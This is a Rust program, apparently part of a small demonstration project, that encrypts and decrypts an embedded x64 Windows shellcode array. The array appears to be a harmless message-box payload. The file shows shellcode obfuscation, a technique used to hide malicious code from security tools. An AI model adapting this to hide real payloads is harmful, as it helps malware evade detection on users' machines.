mod encrypt;
mod decrypt;

use std::collections::HashMap;

fn main() {
    // Example shellcode
    let shellcode = [
        0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
        0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
        0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
        0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
        0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
        0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
        0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
        0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
        0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
        0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
        0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
        0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
        0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
        0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
        0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
        0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
        0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
        0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
        0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
        0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
        0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
        0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
        0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
        0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
    ];


    let false_byte = 0x00;
    let mut shellcode_map = HashMap::new();

    let encrypted_shellcode = encrypt::encrypt_shellcode(&shellcode, false_byte);
    // println!("Encrypted Shellcode: {:x?}", encrypted_shellcode);
    
    println!("Encrypted Shellcode: [");
    let mut x = 1;
    for byte in encrypted_shellcode.iter(){
        print!("0x{:x?}, ", byte);
        if x % 8 == 0{
            println!();
            x = 0;
        }
        x += 1;
    }

    println!("]");

    println!("\n\n");
    encrypt::store_shellcode(&mut shellcode_map, "example", &shellcode);

    let decrypted_shellcode = decrypt::decrypt_shellcode(&encrypted_shellcode);
    // println!("Decrypted Shellcode: {:x?}", decrypted_shellcode);
    
    
    println!("Decrypted Shellcode: [");
    let mut x = 1;
    for byte in decrypted_shellcode.iter(){
        print!("0x{:x?}, ", byte);
        if x % 8 == 0{
            println!();
            x = 0;
        }
        x += 1;
    }
    
    println!("]");
    println!("\n\n");

    if let Some(original_shellcode) = decrypt::get_original_shellcode(&shellcode_map, "example") {
        println!("Original Shellcode: {:x?}", original_shellcode);
    } else {
        eprintln!("Original shellcode not found in map.");
    }
}
